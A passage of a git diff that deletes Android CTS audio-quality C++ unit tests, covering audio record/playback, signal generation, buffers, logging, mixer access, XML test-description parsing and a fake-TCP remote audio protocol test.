- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "AudioRecordPlayTestCommon.h"
-
-#include <Log.h>
-
-class AudioRecordPlayLocalTest: public AudioRecordPlayTestCommon {
-public:
-    virtual ~AudioRecordPlayLocalTest() {};
-protected:
-    android::sp<AudioHardware> createRecordingHw() {
-        return AudioHardware::createAudioHw(true, false);
-    };
-
-    android::sp<AudioHardware> createPlaybackHw() {
-        return AudioHardware::createAudioHw(true, true);
-    }
-};
-
-
-
-TEST_F(AudioRecordPlayLocalTest, PlayAndRecordTest) {
-    PlayAndRecord(4);
-}
-
-
diff --git a/suite/audio_quality/test/AudioRecordPlayTestCommon.h b/suite/audio_quality/test/AudioRecordPlayTestCommon.h
deleted file mode 100644
index 28bc0a6..0000000
--- a/suite/audio_quality/test/AudioRecordPlayTestCommon.h
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIORECORDPLAYTESTCOMMON_H
-#define CTSAUDIO_AUDIORECORDPLAYTESTCOMMON_H
-
-#include <gtest/gtest.h>
-#include <utils/threads.h>
-#include <utils/StrongPointer.h>
-
-#include <audio/AudioHardware.h>
-#include <audio/AudioPlaybackLocal.h>
-#include <audio/AudioRecordingLocal.h>
-#include <audio/AudioSignalFactory.h>
-#include <audio/AudioLocal.h>
-#include <audio/Buffer.h>
-#include <Log.h>
-
-class AudioRecordPlayTestCommon : public testing::Test {
-protected:
-    android::sp<Buffer> mBufferRecording;
-    android::sp<Buffer> mBufferPlayback;
-    android::sp<AudioHardware> mAudioRecordingHw;
-    android::sp<AudioHardware> mAudioPlaybackHw;
-
-    static const int MAX_POSITIVE_AMPLITUDE = 10000;
-    static const int SIGNAL_FREQ = 1000;
-    static const int NUMBER_SAMPLES = AudioHardware::SAMPLES_PER_ONE_GO * 4;
-    static const int DEFAULT_VOLUME = 10;
-protected:
-    virtual void SetUp() {
-        mAudioPlaybackHw = createPlaybackHw();
-        ASSERT_TRUE(mAudioPlaybackHw.get() != NULL);
-        mAudioRecordingHw = createRecordingHw();
-        ASSERT_TRUE(mAudioRecordingHw.get() != NULL);
-        mBufferPlayback = AudioSignalFactory::generateSineWave(AudioHardware::E2BPS,
-                MAX_POSITIVE_AMPLITUDE, AudioHardware::ESampleRate_44100,
-                SIGNAL_FREQ, NUMBER_SAMPLES);
-        ASSERT_TRUE(mBufferPlayback.get() != NULL);
-        mBufferRecording = new Buffer(NUMBER_SAMPLES * 4, NUMBER_SAMPLES * 4);
-        ASSERT_TRUE(mBufferRecording.get() != NULL);
-    }
-
-    virtual void TearDown() {
-        mAudioRecordingHw->stopPlaybackOrRecord();
-        mAudioPlaybackHw->stopPlaybackOrRecord();
-        mAudioRecordingHw.clear();
-        mAudioPlaybackHw.clear();
-    }
-
-    void PlayAndRecord(int numberRepetition) {
-        ASSERT_TRUE(mAudioPlaybackHw->prepare(AudioHardware::ESampleRate_44100, DEFAULT_VOLUME));
-        ASSERT_TRUE(mAudioRecordingHw->prepare(AudioHardware::ESampleRate_44100, DEFAULT_VOLUME));
-        ASSERT_TRUE(mAudioRecordingHw->startPlaybackOrRecord(mBufferRecording,
-                numberRepetition));
-        ASSERT_TRUE(mAudioPlaybackHw->startPlaybackOrRecord(mBufferPlayback,
-                numberRepetition));
-
-        ASSERT_TRUE(mAudioRecordingHw->waitForCompletion());
-        ASSERT_TRUE(mAudioPlaybackHw->waitForCompletion());
-        mAudioPlaybackHw->stopPlaybackOrRecord();
-        mAudioRecordingHw->stopPlaybackOrRecord();
-        LOGV("Audio playback buffer size %d, handled %d", mBufferPlayback->getSize(),
-                mBufferPlayback->amountHandled());
-        ASSERT_TRUE(mBufferPlayback->amountHandled() == mBufferPlayback->getSize());
-        LOGV("Audio recording buffer size %d, handled %d", mBufferRecording->getSize(),
-                mBufferRecording->amountHandled());
-        ASSERT_TRUE(mBufferRecording->amountHandled() == mBufferRecording->getSize());
-    }
-
-    virtual android::sp<AudioHardware> createRecordingHw() = 0;
-    virtual android::sp<AudioHardware> createPlaybackHw() = 0;
-};
-
-
-
-
-#endif // CTSAUDIO_AUDIORECORDPLAYTESTCOMMON_H
diff --git a/suite/audio_quality/test/AudioRecordingLocalTest.cpp b/suite/audio_quality/test/AudioRecordingLocalTest.cpp
deleted file mode 100644
index bb9f8ba..0000000
--- a/suite/audio_quality/test/AudioRecordingLocalTest.cpp
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <unistd.h>
-
-#include <gtest/gtest.h>
-#include <utils/threads.h>
-#include <utils/StrongPointer.h>
-
-#include <audio/AudioHardware.h>
-#include <GenericFactory.h>
-#include <audio/AudioRecordingLocal.h>
-
-#include <Log.h>
-
-#include "AudioPlayTestCommon.h"
-
-class AudioRecordingLocalTest : public AudioPlayTestCommon {
-public:
-    virtual ~AudioRecordingLocalTest() {};
-protected:
-
-    android::sp<AudioHardware> createAudioHw() {
-        return AudioHardware::createAudioHw(true, false);
-    }
-};
-
-
-TEST_F(AudioRecordingLocalTest, PlayAllTest) {
-    playAll(1);
-}
-
-TEST_F(AudioRecordingLocalTest, PlayAllRepeatTest) {
-    playAll(4);
-}
-
-TEST_F(AudioRecordingLocalTest, StartStopTest) {
-    repeatPlayStop();
-}
-
-TEST_F(AudioRecordingLocalTest, WrongUsageTest) {
-    playWrongUsage();
-}
-
diff --git a/suite/audio_quality/test/AudioSignalFactoryTest.cpp b/suite/audio_quality/test/AudioSignalFactoryTest.cpp
deleted file mode 100644
index 62ff900..0000000
--- a/suite/audio_quality/test/AudioSignalFactoryTest.cpp
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdint.h>
-
-#include <gtest/gtest.h>
-
-#include <audio/AudioSignalFactory.h>
-
-class AudioSignalFactoryTest: public testing::Test {
-protected:
-
-    void testSignalBasic(android::sp<Buffer>& buffer, int maxPositive,
-            AudioHardware::SamplingRate samplingRate, int signalFreq, int samples) {
-        ASSERT_TRUE(buffer->getSize() == (unsigned int)(AudioHardware::E2BPS * 2 * samples));
-        int16_t* data = reinterpret_cast<int16_t*>(buffer->getData());
-        for(int i = 0; i < samples; i++) {
-            ASSERT_TRUE(*data <= maxPositive);
-            ASSERT_TRUE(*data >= -maxPositive);
-            data++;
-            ASSERT_TRUE(*data <= maxPositive);
-            ASSERT_TRUE(*data >= -maxPositive);
-            data++;
-        }
-    }
-};
-
-TEST_F(AudioSignalFactoryTest, SineTest) {
-    const int maxPositive = 1000;
-    const int signalFreq = AudioHardware::ESampleRate_44100/100;
-    const int samples = 8192 * 10;
-    android::sp<Buffer> buffer = AudioSignalFactory::generateSineWave(AudioHardware::E2BPS,
-            maxPositive, AudioHardware::ESampleRate_44100, signalFreq, samples);
-    testSignalBasic(buffer, maxPositive, AudioHardware::ESampleRate_44100, signalFreq, samples);
-}
-
-TEST_F(AudioSignalFactoryTest, WhiteNoiseTest) {
-    const int maxPositive = 1000;
-    const int signalFreq = AudioHardware::ESampleRate_44100/100;
-    const int samples = 8192 * 10;
-    android::sp<Buffer> buffer = AudioSignalFactory::generateWhiteNoise(AudioHardware::E2BPS,
-            maxPositive, samples);
-    testSignalBasic(buffer, maxPositive, AudioHardware::ESampleRate_44100, signalFreq, samples);
-}
-
diff --git a/suite/audio_quality/test/BufferTest.cpp b/suite/audio_quality/test/BufferTest.cpp
deleted file mode 100644
index 5e315977..0000000
--- a/suite/audio_quality/test/BufferTest.cpp
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdint.h>
-#include <gtest/gtest.h>
-
-#include <memory>
-
-#include "audio/Buffer.h"
-
-
-class BufferTest : public testing::Test {
-public:
-
-    virtual void SetUp() {
-
-    }
-
-    virtual void TearDown() {
-
-    }
-};
-
-
-TEST_F(BufferTest, saveLoadStereoTest) {
-    const int BUFFER_SIZE = 32;
-
-    std::unique_ptr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
-    ASSERT_TRUE(buffer.get() != NULL);
-    int16_t* data = (int16_t*)buffer->getData();
-    ASSERT_TRUE(data != NULL);
-    for (int i = 0; i < BUFFER_SIZE/4; i++) {
-        data[2*i] = i;
-        data[2*i+1] = i;
-    }
-    android::String8 file("/tmp/cts_audio_temp");
-    ASSERT_TRUE(buffer->saveToFile(file));
-    file.append(".r2s");
-    std::unique_ptr<Buffer> bufferRead(Buffer::loadFromFile(file));
-    ASSERT_TRUE(bufferRead.get() != NULL);
-    ASSERT_TRUE(bufferRead->getSize() == (size_t)BUFFER_SIZE);
-    ASSERT_TRUE(bufferRead->isStereo());
-    int16_t* dataRead = (int16_t*)bufferRead->getData();
-    for (int i = 0; i < BUFFER_SIZE/4; i++) {
-        ASSERT_TRUE(data[2*i] == dataRead[2*i]);
-        ASSERT_TRUE(data[2*i+1] == dataRead[2*i+1]);
-    }
-}
-
-TEST_F(BufferTest, monoLTest) {
-    const int BUFFER_SIZE = 8;
-
-    std::unique_ptr<Buffer> buffer(new Buffer(BUFFER_SIZE, BUFFER_SIZE, true));
-    ASSERT_TRUE(buffer.get() != NULL);
-    int16_t* data = (int16_t*)buffer->getData();
-    ASSERT_TRUE(data != NULL);
-    for (int i = 0; i < BUFFER_SIZE/2; i++) {
-        data[i] = i;
-    }
-    std::unique_ptr<Buffer> bufferl(new Buffer(BUFFER_SIZE/2, BUFFER_SIZE/2, false));
-    ASSERT_TRUE(bufferl.get() != NULL);
-    data = (int16_t*)bufferl->getData();
-    ASSERT_TRUE(data != NULL);
-    for (int i = 0; i < BUFFER_SIZE/4; i++) {
-        data[i] = 2 * i;
-    }
-    buffer->changeToMono(Buffer::EKeepCh0);
-    ASSERT_TRUE((*buffer) == (*bufferl));
-}
diff --git a/suite/audio_quality/test/ClientInterfaceTest.cpp b/suite/audio_quality/test/ClientInterfaceTest.cpp
deleted file mode 100644
index 88e502b..0000000
--- a/suite/audio_quality/test/ClientInterfaceTest.cpp
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <utils/String8.h>
-
-#include <gtest/gtest.h>
-
-#include <audio/AudioSignalFactory.h>
-#include <ClientInterface.h>
-#include <ClientImpl.h>
-#include <GenericFactory.h>
-#include <audio/RemoteAudio.h>
-
-
-
-class ClientInterfaceTest : public testing::Test {
-protected:
-    ClientInterface* mClient;
-
-protected:
-    virtual void SetUp() {
-        GenericFactory factory;
-        mClient = factory.createClientInterface();
-        ASSERT_TRUE(mClient != NULL);
-        android::String8 dummyParam;
-        ASSERT_TRUE(mClient->init(dummyParam));
-    }
-
-    virtual void TearDown() {
-        delete mClient;
-        mClient = NULL;
-    }
-};
-
-TEST_F(ClientInterfaceTest, InitTest) {
-    // all done in SetUp
-}
-
-TEST_F(ClientInterfaceTest, getDeviceInfoTest) {
-    ClientImpl* client = reinterpret_cast<ClientImpl*>(mClient);
-    android::sp<RemoteAudio>& audio(client->getAudio());
-    android::String8 info;
-
-    ASSERT_TRUE(audio->getDeviceInfo(info));
-    LOGD("device info %s", info.string());
-}
-
-TEST_F(ClientInterfaceTest, PlayTest) {
-    ClientImpl* client = reinterpret_cast<ClientImpl*>(mClient);
-    android::sp<RemoteAudio>& audio(client->getAudio());
-    const int maxPositive = 10000;
-    const int signalFreq = AudioHardware::ESampleRate_44100/100;
-    const int samples = 8192*2;
-    android::sp<Buffer> buffer = AudioSignalFactory::generateSineWave(AudioHardware::E2BPS,
-            maxPositive, AudioHardware::ESampleRate_44100, signalFreq, samples);
-    int id;
-    android::String8 name("1");
-    ASSERT_TRUE(audio->downloadData(name, buffer, id));
-    ASSERT_TRUE(audio->startPlayback(true, AudioHardware::ESampleRate_44100,
-            AudioHardware::EModeVoice, 100, id, 1));
-    ASSERT_TRUE(audio->waitForPlaybackCompletion());
-    ASSERT_TRUE(id == audio->getDataId(name));
-    android::String8 name2("2");
-    ASSERT_TRUE(audio->getDataId(name2) < 0);
-}
-
-TEST_F(ClientInterfaceTest, RecordTest) {
-    ClientImpl* client = reinterpret_cast<ClientImpl*>(mClient);
-    android::sp<RemoteAudio>& audio(client->getAudio());
-    const int maxPositive = 10000;
-    const int signalFreq = AudioHardware::ESampleRate_44100 / 100;
-    const int samples = 44100 * 4;
-    android::sp<Buffer> buffer(new Buffer(samples * 2, samples * 2, false));
-
-    ASSERT_TRUE(audio->startRecording(false, AudioHardware::ESampleRate_44100,
-            AudioHardware::EModeVoice, 100, buffer));
-    ASSERT_TRUE(audio->waitForRecordingCompletion());
-    ASSERT_TRUE(buffer->amountHandled() == (samples * 2));
-}
diff --git a/suite/audio_quality/test/FileUtilTest.cpp b/suite/audio_quality/test/FileUtilTest.cpp
deleted file mode 100644
index 990d7b9..0000000
--- a/suite/audio_quality/test/FileUtilTest.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdint.h>
-#include <gtest/gtest.h>
-
-#include "Log.h"
-#include "FileUtil.h"
-
-
-class FileUtilTest : public testing::Test {
-public:
-
-};
-
-
-TEST_F(FileUtilTest, initTest) {
-    android::String8 dirPath;
-    ASSERT_TRUE(FileUtil::prepare(dirPath));
-    ASSERT_TRUE(dirPath.find("reports/") == 0);
-    LOGI("returned %s %d", dirPath.string(), dirPath.find("reports/"));
-    android::String8 dirPath2;
-    ASSERT_TRUE(FileUtil::prepare(dirPath2));
-    ASSERT_TRUE(dirPath == dirPath2);
-}
-
-
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
deleted file mode 100644
index 51cde10..0000000
--- a/suite/audio_quality/test/LogTest.cpp
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <inttypes.h>
-#include <stdint.h>
-#include <gtest/gtest.h>
-
-#include "Log.h"
-
-
-
-class LogTest : public testing::Test {
-public:
-
-};
-
-
-TEST_F(LogTest, logTest) {
-    Log::LogLevel level = Log::Instance()->getLogLevel();
-
-    // following lines should match. no automatic test yet..
-    // TODO make it automatic?
-    Log::Instance()->setLogLevel(Log::ELogV);
-    printf("printf %d %d %d %d %d %d\n", 0, 1, 2, 3, 4, 5);
-    LOGD(  "logd   %d %d %d %d %d %d", 0, 1, 2, 3, 4, 5);
-    LOGV(  "logv   %d %d %d %d %d %d", 0, 1, 2, 3, 4, 5);
-    LOGI(  "logi   %d %d %d %d %d %d", 0, 1, 2, 3, 4, 5);
-    LOGW(  "logw   %d %d %d %d %d %d", 0, 1, 2, 3, 4, 5);
-    LOGE(  "loge   %d %d %d %d %d %d", 0, 1, 2, 3, 4, 5);
-
-    int64_t a = 0;
-    int64_t b = 1;
-    int64_t c = 2;
-    int64_t d = 3;
-    int64_t e = 4;
-    int64_t f = 5;
-#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
-    " %" PRId64
-    printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
-    LOGD(  "logd   " PrintABCDEF, a, b, c, d, e, f);
-    LOGV(  "logv   " PrintABCDEF, a, b, c, d, e, f);
-    LOGI(  "logi   " PrintABCDEF, a, b, c, d, e, f);
-    LOGW(  "logw   " PrintABCDEF, a, b, c, d, e, f);
-    LOGE(  "loge   " PrintABCDEF, a, b, c, d, e, f);
-
-    Log::Instance()->setLogLevel(level);
-}
-
-
-
diff --git a/suite/audio_quality/test/MixerTest.cpp b/suite/audio_quality/test/MixerTest.cpp
deleted file mode 100644
index 413c3ce..0000000
--- a/suite/audio_quality/test/MixerTest.cpp
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdint.h>
-#include <gtest/gtest.h>
-
-#include <tinyalsa/asoundlib.h>
-#include <Log.h>
-#include <audio/AudioHardware.h>
-
-class MixerTest : public testing::Test {
-public:
-
-    virtual void SetUp() {
-
-    }
-
-    virtual void TearDown() {
-
-    }
-};
-
-
-TEST_F(MixerTest, tryTinyAlsaTest) {
-    int hwId = AudioHardware::detectAudioHw();
-    ASSERT_TRUE(hwId >= 0);
-    struct mixer* mixerp = mixer_open(hwId);
-    ASSERT_TRUE(mixerp != NULL);
-    int num_ctls = mixer_get_num_ctls(mixerp);
-    LOGI("Number of mixel control %d", num_ctls);
-    for (int i = 0; i < num_ctls; i++) {
-        struct mixer_ctl* control = mixer_get_ctl(mixerp, i);
-        ASSERT_TRUE(control != NULL);
-        LOGI("Mixer control %s type %s value %d", mixer_ctl_get_name(control),
-                mixer_ctl_get_type_string(control), mixer_ctl_get_num_values(control));
-        free(control);
-    }
-    // no mixer control for MobilePre. If this assumption fails,
-    // mixer control should be added.
-    ASSERT_TRUE(num_ctls == 0);
-    mixer_close(mixerp);
-}
-
diff --git a/suite/audio_quality/test/ModelBuilderTest.cpp b/suite/audio_quality/test/ModelBuilderTest.cpp
deleted file mode 100644
index c9ba154..0000000
--- a/suite/audio_quality/test/ModelBuilderTest.cpp
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#include <gtest/gtest.h>
-#include <task/ModelBuilder.h>
-
-
-class ModelBuilderTest : public testing::Test {
-public:
-    ModelBuilder mModelBuilder;
-};
-
-TEST_F(ModelBuilderTest, ParsingCaseNoAttribTest) {
-    android::String8 xmlFile("test_description/test/no_attrib.xml");
-    TaskGeneric* testCase = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(testCase != NULL);
-    //TODO verify TestCase
-    delete testCase;
-}
-
-TEST_F(ModelBuilderTest, ParsingCaseTest) {
-    android::String8 xmlFile("test_description/host_speaker_calibration.xml");
-    TaskGeneric* testCase = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(testCase != NULL);
-    //TODO verify TestCase
-    delete testCase;
-}
-
-TEST_F(ModelBuilderTest, ParsingBatchTest) {
-    android::String8 xmlFile("test_description/all_playback.xml");
-    TaskGeneric* testBatch = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(testBatch != NULL);
-    //TODO verify TestCase
-    delete testBatch;
-}
-
-TEST_F(ModelBuilderTest, CaseOnlyTest) {
-    android::String8 xmlFile("test_description/all_playback.xml");
-    TaskGeneric* task = mModelBuilder.parseTestDescriptionXml(xmlFile, true);
-    ASSERT_TRUE(task == NULL);
-
-    delete task;
-}
-
-TEST_F(ModelBuilderTest, MissingMandatoryTest) {
-    android::String8 xmlFile("test_description/test/missing_mandatory.xml");
-    TaskGeneric* task = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(task == NULL);
-    delete task;
-}
-
-TEST_F(ModelBuilderTest, UnknownElementTest) {
-    android::String8 xmlFile("test_description/test/unknown_element.xml");
-    TaskGeneric* task = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(task == NULL);
-    delete task;
-}
-
-TEST_F(ModelBuilderTest, WrongAttributeTest) {
-    android::String8 xmlFile("test_description/test/wrong_attrib.xml");
-    TaskGeneric* task = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(task == NULL);
-    delete task;
-}
-
-TEST_F(ModelBuilderTest, BuiltinRMSTest) {
-    android::String8 xmlFile("test_description/test/test_rms_vma.xml");
-    TaskGeneric* task = mModelBuilder.parseTestDescriptionXml(xmlFile);
-    ASSERT_TRUE(task != NULL);
-    TaskGeneric::ExecutionResult result = task->run();
-    ASSERT_TRUE((result == TaskGeneric::EResultOK) || (result == TaskGeneric::EResultPass));
-    delete task;
-}
-
diff --git a/suite/audio_quality/test/RemoteAudioFakeTcpTest.cpp b/suite/audio_quality/test/RemoteAudioFakeTcpTest.cpp
deleted file mode 100644
index d428c17..0000000
--- a/suite/audio_quality/test/RemoteAudioFakeTcpTest.cpp
+++ /dev/null
@@ -1,330 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-// test RemoteAudio with fake TCP
-
-#include <unistd.h>
-
-#include <utils/String8.h>
-
-#include <gtest/gtest.h>
-
-#include <utils/StrongPointer.h>
-
-#include <Log.h>
-#include <audio/AudioHardware.h>
-#include <audio/AudioProtocol.h>
-#include <audio/AudioSignalFactory.h>
-#include <ClientSocket.h>
-#include <audio/RemoteAudio.h>
-
-
-
-void assertTrue(bool cond) {
-    ASSERT_TRUE(cond);
-}
-void assertData(const char* data1, const char* data2, int len) {
-    for (int i = 0; i < len; i++) {
-        //LOGD("0x%x vs 0x%x", data1[i], data2[i]);
-        ASSERT_TRUE(data1[i] == data2[i]);
-    }
-}
-
-class ClientSocketForTest: public ClientSocket {
-public:
-    ClientSocketForTest()
-        : mToRead(NULL),
-          mReadLength(0) {};
-
-    virtual ~ClientSocketForTest() {
-        close(mSocket);
-        close(mPipeWrFd);
-    }
-    virtual bool init(const char* hostIp, int port, bool enableTimeout = false) {
-        LOGD("ClientSocketForTest::init");
-        // use this fd to work with poll
-        int pipefd[2];
-        if (pipe(pipefd)  == -1) {
-            LOGE("cannot create pipe");
-            return false;
-        }
-        LOGD("pipe %d %d", pipefd[0], pipefd[1]);
-        mSocket = pipefd[0];
-        mPipeWrFd = pipefd[1];
-        const char ipExpectation[] = "127.0.0.1";
-        assertTrue(memcmp(ipExpectation, hostIp, sizeof(ipExpectation)) == 0);
-        return true;
-    }
-    virtual bool readData(char* data, int len, int timeoutInMs = 0) {
-        read(mSocket, data, len);
-        return true;
-    }
-    virtual bool sendData(const char* data, int len) {
-        assertTrue((len + mSendPointer) <= mSendLength);
-        assertData(data, mToSend + mSendPointer, len);
-        mSendPointer += len;
-        if ((mToRead != NULL) && (mReadLength != 0)) {
-            LOGD("fake TCP copy reply %d", mReadLength);
-            write(mPipeWrFd, mToRead, mReadLength);
-            mToRead = NULL; // prevent writing the same data again
-        }
-        return true;
-    }
-
-    void setSendExpectation(const char* data, int len) {
-        mToSend = data;
-        mSendLength = len;
-        mSendPointer = 0;
-    }
-    void setReadExpectation(char* data, int len) {
-        mToRead = data;
-        mReadLength = len;
-    }
-public:
-    int mPipeWrFd; // for writing
-    const char* mToRead;
-    int mReadLength;
-    const char* mToSend;
-    int mSendLength;
-    int mSendPointer;
-};
-
-class RemoteAudioFakeTcpTest : public testing::Test {
-protected:
-    android::sp<RemoteAudio> mRemoteAudio;
-    ClientSocketForTest mTestSocket;
-
-protected:
-    virtual void SetUp() {
-        ASSERT_TRUE(U32_ENDIAN_SWAP(0x12345678) == 0x78563412);
-        mRemoteAudio = new RemoteAudio(mTestSocket);
-        ASSERT_TRUE(mRemoteAudio != NULL);
-        ASSERT_TRUE(mRemoteAudio->init(1234));
-    }
-
-    virtual void TearDown() {
-        mRemoteAudio->release();
-        mRemoteAudio.clear();
-    }
-
-    void doDownload() {
-        android::sp<Buffer> buffer = AudioSignalFactory::generateZeroSound(AudioHardware::E2BPS, 2,
-                false);
-        uint32_t prepareSend[] = {
-                U32_ENDIAN_SWAP(AudioProtocol::ECmdDownload),
-                U32_ENDIAN_SWAP(8),
-                U32_ENDIAN_SWAP(0), //id
-                U32_ENDIAN_SWAP(0)
-        };
-        uint32_t prepareReply[] = {
-                U32_ENDIAN_SWAP((AudioProtocol::ECmdDownload & 0xffff) | 0x43210000),
-                0,
-                0
-        };
-        LOGD("reply 0x%x", prepareReply[0]);
-
-        mTestSocket.setSendExpectation((char*)prepareSend, sizeof(prepareSend));
-        // this is reply, but set expectation for reply first as it is sent after send
-        mTestSocket.setReadExpectation((char*)prepareReply, sizeof(prepareReply));
-
-        int id = -1;
-        android::String8 name("1");
-        ASSERT_TRUE(mRemoteAudio->downloadData(name, buffer, id));
-        ASSERT_TRUE(id >= 0);
-    }
-};
-
-TEST_F(RemoteAudioFakeTcpTest, InitTest) {
-    // all done in SetUp
-}
-
-TEST_F(RemoteAudioFakeTcpTest, DownloadTest) {
-    doDownload();
-}
-
-TEST_F(RemoteAudioFakeTcpTest, PlayTest) {
-    doDownload();
-
-    bool stereo = false;
-    int id = 0;
-    int samplingF = 44100;
-    int mode = AudioHardware::EModeVoice | (stereo ? 0x80000000 : 0);
-    int volume = 0;
-    int repeat = 1;
-
-    uint32_t prepareSend[] = {
-            U32_ENDIAN_SWAP(AudioProtocol::ECmdStartPlayback),
-            U32_ENDIAN_SWAP(20),
-            U32_ENDIAN_SWAP(id), //id
-            U32_ENDIAN_SWAP(samplingF),
-            U32_ENDIAN_SWAP(mode),
-            U32_ENDIAN_SWAP(volume),
-            U32_ENDIAN_SWAP(repeat)
-    };
-    uint32_t prepareReply[] = {
-            U32_ENDIAN_SWAP((AudioProtocol::ECmdStartPlayback & 0xffff) | 0x43210000),
-            0,
-            0
-    };
-
-    mTestSocket.setSendExpectation((char*)prepareSend, sizeof(prepareSend));
-    // this is reply, but set expectation for reply first as it is sent after send
-    mTestSocket.setReadExpectation((char*)prepareReply, sizeof(prepareReply));
-
-    ASSERT_TRUE(mRemoteAudio->startPlayback(stereo, samplingF, mode, volume, id, repeat));
-    ASSERT_TRUE(mRemoteAudio->waitForPlaybackCompletion());
-}
-
-TEST_F(RemoteAudioFakeTcpTest, PlayStopTest) {
-    doDownload();
-
-    bool stereo = false;
-    int id = 0;
-    int samplingF = 44100;
-    int mode = AudioHardware::EModeVoice | (stereo ? 0x80000000 : 0);
-    int volume = 0;
-    int repeat = 1;
-
-    uint32_t startPlaybackSend[] = {
